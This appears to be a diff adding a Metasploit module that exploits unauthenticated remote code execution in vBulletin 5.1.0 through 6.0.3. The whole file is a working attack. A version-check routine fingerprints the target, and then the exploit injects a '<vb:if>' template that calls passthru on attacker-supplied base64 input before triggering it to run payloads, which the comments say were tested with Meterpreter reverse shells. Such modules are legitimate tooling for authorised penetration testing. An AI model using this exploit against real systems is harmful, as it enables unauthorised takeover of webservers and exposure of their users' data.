|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + include Msf::Payload::Php |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'vBulletin replaceAdTemplate Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system, |
| 20 | + present in versions 5.1.0 through 6.0.3. The vulnerability allows unauthenticated attackers |
| 21 | + to invoke protected controller methods via the `ajax/api/ad/replaceAdTemplate` endpoint, |
| 22 | + due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+. |
| 23 | +
|
| 24 | + Specifically, it targets the `vB_Api_Ad::replaceAdTemplate()` method to inject a template |
| 25 | + containing a `<vb:if>` conditional that evaluates attacker-supplied PHP using the |
| 26 | + `passthru($_POST[<param>])` construct. The malicious template is then executed via |
| 27 | + a second unauthenticated request to `ajax/render/ad_<location>`. |
| 28 | +
|
| 29 | + Successful exploitation results in arbitrary command execution as the webserver user, |
| 30 | + without authentication. This module supports payloads for PHP, Linux, and Windows. |
| 31 | +
|
| 32 | + Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1. |
| 33 | + }, |
| 34 | + 'Author' => [ |
| 35 | + 'Egidio Romano (EgiX)', # original PoC |
| 36 | + 'Valentin Lobstein' # Metasploit module |
| 37 | + ], |
| 38 | + 'References' => [ |
| 39 | + ['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'], |
| 40 | + ], |
| 41 | + 'License' => MSF_LICENSE, |
| 42 | + 'Platform' => %w[unix linux windows], |
| 43 | + 'Arch' => [ARCH_PHP, ARCH_CMD], |
| 44 | + 'Targets' => [ |
| 45 | + [ |
| 46 | + 'Unix/Linux Command Shell', |
| 47 | + { |
| 48 | + 'Platform' => %w[unix linux], |
| 49 | + 'Arch' => ARCH_CMD |
| 50 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 51 | + } |
| 52 | + ], |
| 53 | + [ |
| 54 | + 'Windows Command Shell', |
| 55 | + { |
| 56 | + 'Platform' => 'win', |
| 57 | + 'Arch' => ARCH_CMD |
| 58 | + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp |
| 59 | + } |
| 60 | + ], |
| 61 | + ], |
| 62 | + 'DefaultTarget' => 0, |
| 63 | + 'DisclosureDate' => '2025-05-23', |
| 64 | + 'Notes' => { |
| 65 | + 'Stability' => [CRASH_SAFE], |
| 66 | + 'Reliability' => [REPEATABLE_SESSION], |
| 67 | + 'SideEffects' => [IOC_IN_LOGS] |
| 68 | + } |
| 69 | + ) |
| 70 | + ) |
| 71 | + end |
| 72 | + |
| 73 | + def check |
| 74 | + res = send_request_cgi( |
| 75 | + 'method' => 'GET', |
| 76 | + 'uri' => normalize_uri(target_uri.path) |
| 77 | + ) |
| 78 | + return CheckCode::Unknown('Failed to retrieve page content') unless res&.code == 200 |
| 79 | + |
| 80 | + doc = res.get_html_document |
| 81 | + |
| 82 | + meta = doc.at_xpath('//meta[@name="generator"]/@content') |
| 83 | + return CheckCode::Safe('vBulletin not detected') unless meta |
| 84 | + |
| 85 | + content = meta.value |
| 86 | + version = content[/vBulletin\s+([\d.]+)/i, 1] |
| 87 | + return CheckCode::Safe('vBulletin not detected') unless version |
| 88 | + |
| 89 | + print_status("Detected vBulletin version: #{version}") |
| 90 | + v = Rex::Version.new(version) |
| 91 | + |
| 92 | + if v < Rex::Version.new('6.0.4') |
| 93 | + CheckCode::Appears("vBulletin version #{v} is likely vulnerable (< 6.0.4)") |
| 94 | + else |
| 95 | + CheckCode::Safe("vBulletin version #{v} is likely patched (>= 6.0.4)") |
| 96 | + end |
| 97 | + end |
| 98 | + |
| 99 | + def exploit |
| 100 | + loc = Rex::Text.rand_text_alpha(3, 8) |
| 101 | + param = Rex::Text.rand_text_alpha(3, 8) |
| 102 | + |
| 103 | + post_data = { |
| 104 | + 'routestring' => 'ajax/api/ad/replaceAdTemplate', |
| 105 | + 'styleid' => '1', # Can't randomize this value |
| 106 | + 'location' => loc, |
| 107 | + 'template' => "<vb:if condition='\"passthru\"(\"base64_decode\"(\$_POST[\"#{param}\"]))'></vb:if>" # Sadly we can't use eval() here |
| 108 | + } |
| 109 | + |
| 110 | + print_status("Injecting RCE template at location '#{loc}' with POST param '#{param}'") |
| 111 | + res = send_request_cgi( |
| 112 | + 'method' => 'POST', |
| 113 | + 'uri' => normalize_uri(target_uri.path), |
| 114 | + 'vars_post' => post_data |
| 115 | + ) |
| 116 | + |
| 117 | + unless res&.body&.strip == 'null' |
| 118 | + fail_with(Failure::UnexpectedReply, 'Failed to create RCE template (expected "null")') |
| 119 | + end |
| 120 | + |
| 121 | + print_status("Triggering payload execution via routestring 'ajax/render/ad_#{loc}'") |
| 122 | + send_request_cgi( |
| 123 | + 'method' => 'POST', |
| 124 | + 'uri' => normalize_uri(target_uri.path), |
| 125 | + 'vars_post' => { |
| 126 | + 'routestring' => "ajax/render/ad_#{loc}", |
| 127 | + param => Rex::Text.encode_base64(payload.encoded) |
| 128 | + } |
| 129 | + ) |
| 130 | + end |
| 131 | +end |
0 commit comments